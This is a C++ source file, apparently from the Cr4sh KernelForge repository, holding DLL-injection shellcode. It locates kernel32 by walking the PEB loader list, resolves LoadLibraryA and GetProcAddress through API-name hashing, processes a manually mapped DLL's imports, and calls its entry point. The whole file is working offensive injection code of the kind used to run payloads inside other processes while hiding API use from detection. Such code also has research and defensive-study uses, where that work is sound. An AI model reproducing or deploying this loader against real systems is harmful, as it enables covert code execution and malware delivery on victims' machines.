Files
Cr4sh-KernelForge/dll_inject_shellcode.cpp
T
2021-05-17 00:36:08 +07:00

262 lines
8.1 KiB
C++

#include "stdafx.h"
typedef BOOL (WINAPI * DLL_MAIN)(
PVOID hinstDLL,
DWORD fdwReason,
PVOID lpvReserved
);
//--------------------------------------------------------------------------------------
DWORD WINAPI dll_inject_Entry(PDLL_INJECT_STRUCT Struct)
{
// check if payload present
PVOID ModuleBase = Struct->ModuleBase;
if (ModuleBase)
{
// load imports
if (dll_inject_ProcessImports(ModuleBase))
{
PIMAGE_NT_HEADERS pHeaders = (PIMAGE_NT_HEADERS)
RVATOVA(ModuleBase, ((PIMAGE_DOS_HEADER)ModuleBase)->e_lfanew);
if (pHeaders->OptionalHeader.AddressOfEntryPoint != 0)
{
DLL_MAIN DllMain = (DLL_MAIN)
RVATOVA(ModuleBase, pHeaders->OptionalHeader.AddressOfEntryPoint);
// call DLL entry point
DllMain(ModuleBase, DLL_PROCESS_ATTACH, NULL);
}
}
}
return 0;
}
//--------------------------------------------------------------------------------------
DWORD WINAPI dll_inject_CalcHash(char *lpszString)
{
DWORD Hash = 0;
char *lpszChar = lpszString;
while (*lpszChar)
{
Hash = ((Hash << 7) & (DWORD)-1) | (Hash >> (32 - 7));
Hash = Hash ^ *lpszChar;
lpszChar += 1;
}
return Hash;
}
//--------------------------------------------------------------------------------------
PVOID WINAPI dll_inject_GetModuleAddressByHash(DWORD ModuleHash)
{
PUCHAR Peb = NULL;
#ifdef _X86_
Peb = (PUCHAR)__readfsdword(0x30);
#else _AMD64_
PUCHAR Teb = (PUCHAR)__readgsqword(0x30);
if (Teb)
{
Peb = *(PUCHAR *)(Teb + 0x60);
}
#endif
if (Peb == NULL)
{
// process is not initialized properly
return NULL;
}
// obtain address of first entry in loader's table
PPEB_LDR_DATA LdrData = *(PPEB_LDR_DATA *)(Peb + DLL_INJECT_PEB_LDR_TABLE_OFFSET);
PLIST_ENTRY Head = &LdrData->ModuleListLoadOrder;
PLIST_ENTRY Entry = Head->Flink;
// parse loader table entries
while (Entry != Head)
{
char szBaseDllName[MAX_PATH];
PLDR_DATA_TABLE_ENTRY LdrData = CONTAINING_RECORD(Entry, LDR_DATA_TABLE_ENTRY, InLoadOrderModuleList);
WORD NameLength = LdrData->BaseDllName.Length / sizeof(WCHAR);
for (WORD i = 0; i < NameLength; i += 1)
{
// copy module name into ANSI string
char Chr = (char)LdrData->BaseDllName.Buffer[i];
if ((Chr >= 'A') && (Chr <= 'Z'))
{
// convert characetr to the low case
Chr = Chr + ('a' - 'A');
}
szBaseDllName[i] = Chr;
}
szBaseDllName[NameLength] = '\0';
// check the name hash
if (dll_inject_CalcHash(szBaseDllName) == ModuleHash)
{
return LdrData->DllBase;
}
Entry = Entry->Flink;
}
return NULL;
}
//--------------------------------------------------------------------------------------
PVOID WINAPI dll_inject_GetProcAddressByHash(PVOID Image, DWORD ProcHash)
{
if (Image == NULL)
{
// something goes wrong
return NULL;
}
PIMAGE_NT_HEADERS pHeaders = (PIMAGE_NT_HEADERS)
RVATOVA(Image, ((PIMAGE_DOS_HEADER)Image)->e_lfanew);
DWORD Addr = 0;
DWORD ExportAddr = pHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
DWORD ExportSize = pHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;
if (ExportAddr != 0)
{
PIMAGE_EXPORT_DIRECTORY pExport = (PIMAGE_EXPORT_DIRECTORY)RVATOVA(Image, ExportAddr);
if (pExport->AddressOfFunctions == 0 ||
pExport->AddressOfNameOrdinals == 0 ||
pExport->AddressOfNames == 0)
{
// no exports by name
return NULL;
}
// parse module exports
PDWORD AddrOfFunctions = (PDWORD)RVATOVA(Image, pExport->AddressOfFunctions);
PWORD AddrOfOrdinals = (PWORD)RVATOVA(Image, pExport->AddressOfNameOrdinals);
PDWORD AddrOfNames = (PDWORD)RVATOVA(Image, pExport->AddressOfNames);
for (DWORD i = 0; i < pExport->NumberOfNames; i += 1)
{
// calculate and compare hash of function
if (dll_inject_CalcHash((char *)RVATOVA(Image, AddrOfNames[i])) == ProcHash)
{
// get exported function RVA
Addr = AddrOfFunctions[AddrOfOrdinals[i]];
break;
}
}
}
if (Addr != 0)
{
// check for the forwarded export
if (Addr > ExportAddr &&
Addr < ExportAddr + ExportSize)
{
// forwarded exports are not supported
return NULL;
}
return RVATOVA(Image, Addr);
}
return NULL;
}
//--------------------------------------------------------------------------------------
BOOL WINAPI dll_inject_ProcessImports(PVOID Image)
{
dll_inject_LoadLibraryA f_LoadLibraryA = NULL;
dll_inject_GetProcAddress f_GetProcAddress = NULL;
// get kernel32.dll base address
PVOID KernelBase = dll_inject_GetModuleAddressByHash(DLL_INJECT_HASH_KERNEL32);
if (KernelBase)
{
f_LoadLibraryA = (dll_inject_LoadLibraryA)
dll_inject_GetProcAddressByHash(KernelBase, DLL_INJECT_HASH_LOAD_LIBRARY_A);
f_GetProcAddress = (dll_inject_GetProcAddress)
dll_inject_GetProcAddressByHash(KernelBase, DLL_INJECT_HASH_GET_PROC_ADDRESS);
}
if (f_LoadLibraryA == NULL ||
f_GetProcAddress == NULL)
{
// unable to import required functions
return FALSE;
}
PIMAGE_NT_HEADERS pHeaders = (PIMAGE_NT_HEADERS)
RVATOVA(Image, ((PIMAGE_DOS_HEADER)Image)->e_lfanew);
DWORD ImportAddr = pHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
DWORD ImportSize = pHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size;
if (ImportAddr != 0)
{
PIMAGE_IMPORT_DESCRIPTOR pImport = (PIMAGE_IMPORT_DESCRIPTOR)RVATOVA(Image, ImportAddr);
while (pImport->Name != 0)
{
char *lpszLibName = (char *)RVATOVA(Image, pImport->Name);
// load import library
PVOID LibAddr = f_LoadLibraryA(lpszLibName);
if (LibAddr == NULL)
{
return FALSE;
}
// process thunks data
PIMAGE_THUNK_DATA pThunk = (PIMAGE_THUNK_DATA)RVATOVA(Image, pImport->FirstThunk);
while (pThunk->u1.Ordinal != 0)
{
if (pThunk->u1.Ordinal & 0xf0000000)
{
// lookup function address by ordinal
PVOID FuncAddr = f_GetProcAddress(LibAddr, (char *)(pThunk->u1.Ordinal & 0xffff));
if (FuncAddr == NULL)
{
return FALSE;
}
*(PVOID *)pThunk = FuncAddr;
}
else
{
PIMAGE_IMPORT_BY_NAME pName = (PIMAGE_IMPORT_BY_NAME)RVATOVA(Image, pThunk->u1.AddressOfData);
char *lpszFuncName = (char *)&pName->Name;
// lookup function address by name
PVOID FuncAddr = f_GetProcAddress(LibAddr, lpszFuncName);
if (FuncAddr == NULL)
{
return FALSE;
}
*(PVOID *)pThunk = FuncAddr;
}
pThunk += 1;
}
pImport += 1;
}
}
return TRUE;
}
void WINAPI dll_inject_End(void) { }
//--------------------------------------------------------------------------------------
// EoF